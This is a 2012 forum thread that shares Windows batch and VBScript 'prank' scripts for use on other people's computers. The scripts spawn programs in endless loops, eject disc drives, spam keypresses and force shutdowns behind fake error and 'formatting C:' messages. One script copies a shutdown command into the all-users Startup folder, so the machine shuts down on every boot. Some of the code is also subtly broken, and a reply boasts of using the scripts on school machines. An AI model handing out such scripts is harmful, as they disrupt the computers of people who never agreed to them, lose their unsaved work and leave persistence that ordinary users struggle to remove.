Post: Funny Computer Pranks .bat and .vbs
11-18-2012, 05:20 AM #1
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All You Need Is Notepad


Use THIS appropriately :L

1). Open NotePad Repeatedly Save As .BAT.

    @ECHO off
top
START %SystemRoot%system32notepad.exe
GOTO top


2). ShutDown With Error Message Save As .BAT.

    @echo off
msg * Message Here
shutdown -c "Error! You are too jerk" -s


3). Open Disc Drive Repeatedly Untill Shut Down Save As .VBS
    Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


4). Press Enter Repeatedly Save As .VBS
    Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


5). Coool Masage Save As .VBS
    WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "


6). Open CMD save as .BAT
    @echo off
:E
start cmd.exe
start calc.exe


7). Matrix Down Screen (LOOKS AWASOM :P) Save As .vbs
    @echo off
:loop
COlor 0A
Title coding : awanFluFy [ [You must be registered and logged in to see this link.] ]

echo 0 A 0 1 1 1 A 0 1 0 1 0 7 7 8 9 9 1 0 1 0 1 A 1 0 a d d f f 1 0 8
echo 0 0 0 0 0 0 0 0 1 A 0 A 1 0 A 1 1 1 1 0 A 1 0 A 5 5 6 7 a n k k k
echo 0 1 0 1 0 A B J 0 3 4 0 1 0 1 0 1 B A A O i d d 3 3 4 4 6 7 7 g u
echo 0 2 3 1 1 1 5 5 6 5 6 8 9 5 4 5 4 5 5 4 5 5 6 4 f f f g j d g d f g d
echo 2 4 5 6 5 5 6 5 9 4 5 7 7 7 7 8 9 9 0 66 6 1 5 5 6 4 5 5 8 6 4 4 6 4
goto :loop


Cool Man (aka Tustin). Shut Down Repeatedly Even After Shut Down :O save as .BAT
    @echo off
echo shutdown -s -t 5 -c "Windows is shutting down due to an internal error" > C:\close.bat
copy C:\close.bat "C:\documents and settings\all users\start menu\programs\startup\"
cls
echo Maximize this window to continue
echo Wscript.Sleep 4000 > C:\sleep1.vbs
call C:\sleep1.vbs
echo Msgbox"Critical system process failure. Press enter to to begin auto fix." > c:\error1.vbs
call c:\error1.vbs
echo Formatting c: drive...
echo Wscript.Sleep 2000 > C:\sleep2.vbs
call C:\sleep1.vbs
echo The following files were are infected and should be deleted immediately
call C:\sleep1.vbs
dir /s C:\*.exe
dir C:
call C:\sleep1.vbs
cls
echo Deleting files 36 percent complete
call C:\sleep2.vbs
echo Deleting files 79 percent complete
call C:\sleep2.vbs
echo Deleting files 100 percent complete
call C:\sleep2.vbs
echo Files successfully deleted
call C:\sleep1.vbs
cls
echo All files in the windows registry were also deleted
echo a full reinstall is required to continue using windows
call C:\sleep2.vbs
echo Msgbox"Windows is not responding, shutting down" > c:\error2.vbs
call C:\error2.vbs
call C:\sleep2.vbs
echo Msgbox"Applications will automatically closed, all unsaved data will be lost" > C:\error3.vbs
call C:\error3.vbs
cls
ECHO
ECHO --------------------------------------------------------------------------
call C:\sleep1.vbs
shutdown -r -t 5


9). Error Massage with yess and no Save as .vbs
    msgbox "Message Here ",20,"WINDOWS"
msgbox "Message here",20,"WINDOWS"


10).Shut Down After 6min save as .vbs
    set shell = CreateObject("Wscript.Shell")
shell.run "shutdown.exe -s -t 360"


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11-22-2012, 11:44 PM #2
I have never gotten into so much trouble at school until this thread XD. My teacher was like what did you do to this computer! i was like idk what ur talking about.
11-27-2012, 02:36 PM #3
QsM
Do a barrel roll!
Cool Story Bro

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